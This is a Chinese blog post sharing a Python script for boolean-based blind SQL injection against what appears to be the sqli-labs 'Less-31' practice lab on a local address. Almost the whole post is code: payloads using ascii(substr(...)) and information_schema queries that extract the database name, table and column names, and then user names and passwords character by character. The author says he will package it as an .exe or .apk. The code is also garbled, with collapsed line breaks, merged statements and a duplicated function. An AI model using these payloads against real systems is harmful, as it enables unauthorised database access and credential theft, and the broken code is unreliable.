python substr_python盲注

给大家来一份python盲注的代码

我自己改了一些内容,到时候我把其封装成为.exe文件,或者.apk文件,再把资源发出来,接下来是代码

import requests# 爆数据库长度def db_length(url,s):
    db_length = 0    for i in range(1, 20):
        db_payload = "2%s and (length(database())=%d) --+" % (s,i)
        r = requests.get(url+db_payload)if "Your Login name:Angelina" in r.content.decode('utf-8'):print("数据库长度为:", i)
            db_length = ibreak    return db_length# 爆当前在使用的数据库名称def db_name(url,s):
    db_name = ''    for i in range(1, db_length(url,s)+1):for j in range(95, 123):
            db_payload = "2%s and (left(database(),%d)='%s') --+" % (s,i, db_name+chr(j))
            r = requests.get(url+db_payload)if "Your Login name:Angelina" in r.content.decode('utf-8'):
                db_name = db_name+chr(j)return db_name# 爆表数量def table_num(url,s):table_num = 0    for i in range(100):
        db_payload = "2%s and (select count(table_name) from information_schema.tables where table_schema='%s')=%d --+" %(s,'security', i)
        r = requests.get(url+db_payload)if "Your Login name:Angelina" in r.content.decode('utf-8'):
            table_nums = ibreak    return table_nums# 爆表名称,列表def tables_name(url,s):
    tables_name = []for i in range(4):#table_nums        k = 1        flag = 0        table_name = ''        while flag == 0:for j in range(95, 123):
                db_payload = "2%s and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d --+" % (s, i, k, j)
                r = requests.get(url+db_payload)if "Angelina" in r.content.decode('utf-8'):
                    k = k+1                    table_name = table_name+chr(j)break                elif j == 122:
                    flag = 1                    tables_name.append(table_name)break    return tables_namedef columns(url,s):print("当前扫描出的表：", end='')print(','.join(['emails', 'referers', 'uagents', 'users']))#tables_name    while True:print("请输入要扫描的表：", end='')
         table = input()if table in ['emails', 'referers', 'uagents', 'users']:break         else:print(" 输入错误，请重新输入 ")
    table_name = table
    column_num = 0    # 爆字段数量    for i in range(100):
        db_payload = ("2%s and "        "(select count(column_name) from information_schema.columns where table_schema=database() and table_name='%s')"        "=%d --+") % (s,table_name, i)
        r = requests.get(url+db_payload)if 'Angelina' in r.content.decode('utf-8'):
            column_num = ibreak    # print("该表共有", column_num, "个字段：", end='')    return column_num# 爆字段名称def columns_name(url,s):
    columns_name = []for i in range(3):#column_num        column_name = ''        k = 1        flag = 0        while flag == 0:for j in range(95, 123):
                db_payload = """2%s and                ascii(substr((select column_name from information_schema.columns                where table_schema=database() and table_name='%s'                limit %d,1 )                ,%d,1))=%d --+""" % (s,'users', i, k, j)
                r = requests.get(url+db_payload)if "Angelina" in r.content.decode('utf-8'):
                    k = k+1                    column_name = column_name+chr(j)break                elif j == 122:
                    flag = 1                    columns_name.append(column_name)break    # print(','.join(columns_name))    return columns_name
column_name=['id', 'username', 'password']# 爆数据数量def data_num(url,s):for i in range(20):
        db_payload = "2%s and (select count(%s) from %s)=%d --+" % (s,column_name[0], 'users', i)
        r = requests.get(url+db_payload)if "Angelina" in r.content.decode('utf-8'):
            data_num = i# print("该表共有", data_num, "个数据")            break    return data_num# 爆数据结果def data_num(url,s):
    user_id = []
    user_name = []
    user_pw = []for i in range(14):#data_num        # id        for k in range(20):
            db_payload = "2%s and (select %s from %s limit %d,1)=%d --+" % (s,column_name[0], 'users', i, k)
            r = requests.get(url+db_payload)if "Angelina" in r.content.decode('utf-8'):
                user_id.append(k)print("%2d" % k, end=' ')break        # username        un = ''        flag = 0        j = 1        while flag == 0:for k in range(48, 123):if k not in range(48, 58) and k not in range(65, 91) and k not in range(95, 123):continue                db_payload = "2%s and ascii(substr((select %s from %s limit %d,1),%d,1))=%d --+" % (s,column_name[1], 'users',i, j, k)
                r = requests.get(url+db_payload)if "Angelina" in r.content.decode('utf-8'):
                    un += chr(k)
                    j += 1                    break                if k == 122:
                    flag = 1                    user_name.append(un)print("%10s" % un, end=' ')break        # password        pw = ''        flag = 0        j = 1        while flag == 0:for k in range(33, 123):if k not in (33, 45, 64) and k not in range(48, 58) and k not in range(65, 91) and k not in range(95, 123):continue                db_payload = "2%s and ascii(substr((select %s from %s limit %d,1),%d,1))=%d --+" % (s,column_name[2],'users', i, j, k)
                r = requests.get(url + db_payload)if "Angelina" in r.content.decode('utf-8'):
                    pw += chr(k)
                    j += 1                    break                if k == 122:
                    flag = 1                    user_pw.append(pw)print("  ", pw)breakif __name__=='__main__':
    url='http://192.168.222.134:10808/Less-31/?id=1&id='    # print(db_length(url,"\")"))    # print(db_name(url,"\")"))    # print(table_num(url, "\")"))    #print(tables_name(url, "\")"))    #print(columns_name(url,"\")"))    print(data_num(url,"\")"))